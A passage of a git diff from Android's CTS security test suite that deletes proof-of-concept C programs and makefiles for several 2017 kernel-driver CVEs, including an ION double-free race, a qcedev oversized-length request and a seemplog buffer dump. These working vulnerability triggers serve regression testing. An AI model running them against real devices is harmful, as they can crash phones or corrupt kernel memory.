- if(ret) {
- ERR("[-] NVMAP_IOC_CREATE failed");
- goto __cleanup;
- }
- #endif
-
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
- if(ret) {
- ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
- goto __cleanup;
- }
- free_arg.offset = alloc.o_a.offset;
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
- if(ret) {
- ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
- goto __cleanup;
- }
-
-__cleanup:
- close(nvmap);
- close(gpu);
- close(asgpu);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
deleted file mode 100644
index 6e52fa7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0451
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact \
-
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
deleted file mode 100644
index 88b7378..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-#include <stdlib.h>
-#include <errno.h>
-
-#define MSG_REQUEST 0x2
-
-struct voice_svc_write_msg {
- __u32 msg_type;
- __u8 payload[0];
-};
-
-int main() {
- int g_fd = 0;
- char* dev_path = "/dev/voice_svc";
-
- g_fd = open(dev_path, O_RDWR);
- if (g_fd < 0) {
- return -1;
- }
-
- int size = sizeof(struct voice_svc_write_msg) + 4;
- char* msg = (char*)malloc(size);
-
- (msg + 4)[0] = 'A';
- (msg + 4)[1] = 'A';
- (msg + 4)[2] = 'A';
- (msg + 4)[3] = 'A';
- ((struct voice_svc_write_msg*)msg)->msg_type = MSG_REQUEST;
-
- int i;
- for (i = 0; i < 20; ++i) {
- write(g_fd, msg, size);
- sleep(1);
- }
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
deleted file mode 100644
index 46c773d..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0462
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
deleted file mode 100644
index 5cf6a49..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
+++ /dev/null
@@ -1,214 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdint.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#define DEVICE "/dev/seemplog"
-#define SZ_1M 0x100000
-#define FOUR_MB (4 * SZ_1M)
-
-#define BLK_SIZE 256
-#define BLK_HDR_SIZE 64
-#define TS_SIZE 20
-#define BLK_MAX_MSG_SZ (BLK_SIZE - BLK_HDR_SIZE)
-
-#define TASK_COMM_LEN 16
-
-#define MAGIC 'z'
-
-#define SEEMP_CMD_RESERVE_RDBLKS _IOR(MAGIC, 1, int)
-#define SEEMP_CMD_RELEASE_RDBLKS _IO(MAGIC, 2)
-#define SEEMP_CMD_GET_RINGSZ _IOR(MAGIC, 3, int)
-#define SEEMP_CMD_GET_BLKSZ _IOR(MAGIC, 4, int)
-#define SEEMP_CMD_SET_MASK _IO(MAGIC, 5)
-#define SEEMP_CMD_SET_MAPPING _IO(MAGIC, 6)
-#define SEEMP_CMD_CHECK_FILTER _IOR(MAGIC, 7, int)
-#define SEEMP_CMD_DEBUG_START _IOR(MAGIC, 8, int)
-#define SEEMP_CMD_DEBUG_STOP _IOR(MAGIC, 9, int)
-
-struct read_range {
- int start_idx;
- int num;
-};
-
-struct blk_payload {
- uint32_t api_id;
- char msg[BLK_MAX_MSG_SZ];
-} __attribute__((packed));
-
-struct seemp_logk_blk {
- uint8_t status;
- uint16_t len;
- uint8_t version;
- int32_t pid;
- int32_t uid;
- int32_t tid;
- int32_t sec;
- int32_t nsec;
- char ts[TS_SIZE];
- char appname[TASK_COMM_LEN];
- struct blk_payload payload;
-} __attribute__((packed));
-
-void dump_blk_headers(char *ptr) {
- int i;
- struct seemp_logk_blk *temp;
-
- for (i = 0; i < (FOUR_MB / 256); i++) {
- temp = (struct seemp_logk_blk *)ptr;
-
- ptr += 256;
- }
-}
-
-void print_maps(int time) {
- char cmd[] = "/proc/%d/maps";
- char cmd2[sizeof("/proc/-2147483648/maps")];
- FILE *fp;
- size_t nread;
- char buf[1024];
-
- snprintf(cmd2, sizeof(cmd2)-1, cmd, getpid());
-
- fp = fopen(cmd2, "r");
- if (fp == NULL) {
- exit(-1);
- }
-
- while ((nread = fread(buf, 1, sizeof(buf), fp)) > 0)
- fwrite(buf, 1, nread, stdout);
-
- fclose(fp);
- sleep(time);
-}
-
-void reserve_rdblks(int fd) {
- struct read_range rrange;
- ioctl(fd, SEEMP_CMD_RESERVE_RDBLKS, &rrange);
-}
-
-unsigned int get_ringsz(int fd) {
- unsigned int ringsz;
- ioctl(fd, SEEMP_CMD_GET_RINGSZ, &ringsz);
- return ringsz;
-}
-
-unsigned int get_blksz(int fd) {
- unsigned int blksz;
- ioctl(fd, SEEMP_CMD_GET_BLKSZ, &blksz);
- return blksz;
-}
-
-void write_to_file(char *ptr) {
- FILE *dumpfp = fopen("/data/local/tmp/dump", "wb");
- int i;
-
- if (dumpfp == NULL) {
- exit(-1);
- }
-
- fwrite(ptr, 1, FOUR_MB, dumpfp);
- fclose(dumpfp);
-}
-
-void write_to_dev(int fd) {
- char ts[] = "IIIIIIIIIIIIIIIIIIII";
- char appname[] = "JJJJJJJJJJJJJJJJ";
- char msg[] = "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL";
-
- struct seemp_logk_blk block;
-
- block.status = 0xff;
- block.len = 0x4242;
- block.version = 'C';
- block.pid = 0x44444444;
- block.uid = 0x45454545;
- block.tid = 0x46464646;
- block.sec = 0x47474747;
- block.nsec = 0x48484848;
- strcpy(block.ts, ts);
- strcpy(block.appname, appname);
- block.payload.api_id = 0x51515151;
- strcpy(block.payload.msg, msg);
-}
-
-void do_mapping(void **ptr, int fd) {
- *ptr = mmap(NULL,
- FOUR_MB,
- 0x7,
- MAP_SHARED,
- fd,
- 0);
- if (*ptr == MAP_FAILED) {
- close(fd);
- exit(-1);
- }
-}
-
-void spam_mapped_region(char *ptr, int offset, int size) {
- int i;
- for (i = offset; i < size; i++)
- *(ptr + i) = 'A';
-}
-
-void start_printk(int fd) {
- ioctl(fd, SEEMP_CMD_DEBUG_START, NULL);
-}
-
-void stop_printk(int fd) {
- ioctl(fd, SEEMP_CMD_DEBUG_STOP, NULL);
-}
-
-int main() {
- int fd;
- void *ptr;
- int i;
-
- fd = open(DEVICE, O_RDWR);
- if (fd == -1) {
- exit(-1);
- }
-
- start_printk(fd);
-
- do_mapping(&ptr, fd);
-
- for (i = 0; i < (FOUR_MB / 256); i++)
- write_to_dev(fd);
-
- dump_blk_headers(ptr);
- print_maps(5);
-
- write_to_file(ptr);
-
- stop_printk(fd);
-
- close(fd);
- munmap(ptr, FOUR_MB);
-
- return 0;
-}
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
deleted file mode 100644
index 91d154c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CVE-2017-0564
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
deleted file mode 100644
index 6867562..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-# define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ 2U
-#endif
-
-
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
- (((dir) << _IOC_DIRSHIFT) | \
- ((type) << _IOC_TYPESHIFT) | \
- ((nr) << _IOC_NRSHIFT) | \
- ((size) << _IOC_SIZESHIFT))
-
-
-
-/* used to create numbers */
-#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-#endif
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
deleted file mode 100644
index 7734d4c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
+++ /dev/null
@@ -1,221 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <stdio.h>
-#include <stdio.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <unistd.h>
-#include <string.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <linux/ion.h>
-
-#define ION_HEAP(bit) (1 << (bit))
-
-enum ion_heap_ids {
- INVALID_HEAP_ID = -1,
- ION_CP_MM_HEAP_ID = 8,
- ION_SECURE_HEAP_ID = 9,
- ION_SECURE_DISPLAY_HEAP_ID = 10,
- ION_CP_MFC_HEAP_ID = 12,
- ION_CP_WB_HEAP_ID = 16, /* 8660 only */
- ION_CAMERA_HEAP_ID = 20, /* 8660 only */
- ION_SYSTEM_CONTIG_HEAP_ID = 21,
- ION_ADSP_HEAP_ID = 22,
- ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
- ION_SF_HEAP_ID = 24,
- ION_SYSTEM_HEAP_ID = 25,
- ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
- ION_QSECOM_HEAP_ID = 27,
- ION_AUDIO_HEAP_ID = 28,
- ION_MM_FIRMWARE_HEAP_ID = 29,
- ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
-};
-
-static unsigned int ion_type[] = {
- ION_HEAP(ION_CP_MM_HEAP_ID),
- ION_HEAP(ION_CP_MFC_HEAP_ID),
- ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
- ION_HEAP(ION_ADSP_HEAP_ID ),
- ION_HEAP(ION_SF_HEAP_ID),
- ION_HEAP(ION_SYSTEM_HEAP_ID),
- ION_HEAP(ION_QSECOM_HEAP_ID),
- ION_HEAP(ION_AUDIO_HEAP_ID),
-};
-
-#define NEW_ION
-int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
-{
- int ret;
- struct ion_allocation_data req = {
- .len = len,
-#ifdef NEW_ION
- .heap_id_mask = ion_type,
- //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
- .flags = (1 << 0),
- .flags = 0x0,
-#else
- .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
-#endif
- .align = len,
- };
-
- ret = ioctl(fd, ION_IOC_ALLOC, &req);
- if (ret) {
- return ret;
- }
-
- *hdl = req.handle;
-
- return 0;
-}
-
-int ion_free(int fd, int hdl)
-{
- int ret;
- struct ion_handle_data req = {
- .handle = hdl,
- };
-
- ret = ioctl(fd, ION_IOC_FREE, &req);
- if (ret) {
- return ret;
- }
-
- return 0;
-}
-
-int ion_map(int fd, int hdl)
-{
- int ret;
- struct ion_fd_data req = {
- .handle = hdl,
- };
-
- ret = ioctl(fd, ION_IOC_MAP, &req);
- if (ret) {
- return ret;
- }
-
- return req.fd;
-}
-
-int ion_fd;
-int ion_handle;
-int status[2];
-int cmd = 0;
-
-void *threadForIonFree01()
-{
- status[0] = 1;
-
- while (cmd == 0) {
- usleep(10);
- }
- if (cmd == -1)
- goto failed;
-
- usleep(50);
- ion_free(ion_fd, ion_handle);
-
-failed:
- status[0] = 2;
- return NULL;
-}
-
-
-void *threadForIonFree02()
-{
- status[1] = 1;
-
- while (cmd == 0) {
- usleep(10);
- }
- if(cmd == -1)
- goto failed;
-
- usleep(50);
- ion_free(ion_fd, ion_handle);
-
-failed:
- status[1] = 2;
- return NULL;
-}
-
-int main()
-{
- int ret, i, count;
- pthread_t tid_free[2];
-
- count = 0;
-retry:
- status[0] = 0;
- status[1] = 0;
- cmd = 0;
- ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
- if (ion_fd < 0) {
- return -1;
- }
-
- for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
- ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
- if (ret == 0) {
- break;
- }
- }
-
- if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
- goto failed;
- }
-
- ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
- if (ret != 0) {
- goto failed;
- }
-
- ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
- if (ret != 0) {
- cmd = -1;
- goto failed;
- }
-
- while (status[0] != 1 || status[1] != 1) {
- usleep(50);
- }
-
- cmd = 1;
- ret = ion_map(ion_fd, ion_handle);
-
- while (status[0] != 2 || status[1] != 2) {
- usleep(50);
- }
-
-failed:
- ion_free(ion_fd,ion_handle);
- close(ion_fd);
- goto retry;
-
- return 0;
-}
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
deleted file mode 100644
index c62755c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0576
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c
deleted file mode 100644
index f08a068..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c
+++ /dev/null
@@ -1,158 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-#include <string.h>
-#include <fcntl.h>
-#include <limits.h>
-#include <inttypes.h>
-#include <errno.h>
-
-#define QCEDEV_MAX_KEY_SIZE 64
-#define QCEDEV_MAX_IV_SIZE 32
-#define QCEDEV_MAX_BUFFERS 16
-
-struct buf_info {
- union {
- uint32_t offset;
- uint8_t *vaddr;
- };
- uint32_t len;
-};
-
-struct qcedev_vbuf_info {
- struct buf_info src[QCEDEV_MAX_BUFFERS];
- struct buf_info dst[QCEDEV_MAX_BUFFERS];
-};
-
-struct qcedev_pmem_info {
- int fd_src;
- struct buf_info src[QCEDEV_MAX_BUFFERS];
- int fd_dst;
- struct buf_info dst[QCEDEV_MAX_BUFFERS];
-};
-
-enum qcedev_oper_enum {
- QCEDEV_OPER_DEC = 0,
- QCEDEV_OPER_ENC = 1,
- QCEDEV_OPER_DEC_NO_KEY = 2,
- QCEDEV_OPER_ENC_NO_KEY = 3,
- QCEDEV_OPER_LAST
-};
-
-enum qcedev_cipher_alg_enum {
- QCEDEV_ALG_DES = 0,
- QCEDEV_ALG_3DES = 1,
- QCEDEV_ALG_AES = 2,
- QCEDEV_ALG_LAST
-};
-
-enum qcedev_cipher_mode_enum {
- QCEDEV_AES_MODE_CBC = 0,
- QCEDEV_AES_MODE_ECB = 1,
- QCEDEV_AES_MODE_CTR = 2,
- QCEDEV_AES_MODE_XTS = 3,
- QCEDEV_AES_MODE_CCM = 4,
- QCEDEV_DES_MODE_CBC = 5,
- QCEDEV_DES_MODE_ECB = 6,
- QCEDEV_AES_DES_MODE_LAST
-};
-
-struct qcedev_cipher_op_req {
- uint8_t use_pmem;
- union {
- struct qcedev_pmem_info pmem;
- struct qcedev_vbuf_info vbuf;
- };
- uint32_t entries;
- uint32_t data_len;
- uint8_t in_place_op;
- uint8_t enckey[QCEDEV_MAX_KEY_SIZE];
- uint32_t encklen;
- uint8_t iv[QCEDEV_MAX_IV_SIZE];
- uint32_t ivlen;
- uint32_t byteoffset;
- enum qcedev_cipher_alg_enum alg;
- enum qcedev_cipher_mode_enum mode;
- enum qcedev_oper_enum op;
-};
-
-#define QCEDEV_IOC_MAGIC 0x87
-
-#define QCEDEV_IOCTL_ENC_REQ \
- _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)
-#define QCEDEV_IOCTL_DEC_REQ \
- _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)
-
-void thread_func(int fd)
-{
- struct qcedev_cipher_op_req req;
- unsigned int i;
- char *data;
-
- memset(&req, 0, sizeof(struct qcedev_cipher_op_req));
-
- data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
- if (data == MAP_FAILED) {
- exit(0);
- }
- for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))
- *((unsigned long long*)(data + i)) = 0xABADACC355001337;
-
- req.in_place_op = 1;
- req.entries = 2;
- req.byteoffset = 15;
- req.mode = QCEDEV_AES_MODE_CTR;
-
- req.op = QCEDEV_OPER_ENC;
- req.ivlen = 1;
- req.data_len = 0xFFFFFFFE;
- req.vbuf.src[0].len = 4;
- req.vbuf.src[1].len = 0xFFFFFFFE - 4;
- req.vbuf.src[0].vaddr = (uint8_t*)data;
- req.vbuf.src[1].vaddr = (uint8_t*)data;
- req.vbuf.dst[0].len = 4;
- req.vbuf.dst[1].len = 0xFFFFFFFE - 4;
- req.vbuf.dst[0].vaddr = (uint8_t*)data;
- req.vbuf.dst[1].vaddr = (uint8_t*)data;
-
- ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);
-
- exit(0);
-}
-
-int main(void)
-{
- int fd;
- const char *dev = "/dev/qce";
-
- fd = open(dev, O_RDWR);
- if (fd < 0) {
- return EXIT_FAILURE;
-
- }
- thread_func(fd);
-
- return EXIT_FAILURE;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
deleted file mode 100644
index 0ef89c5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0577
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
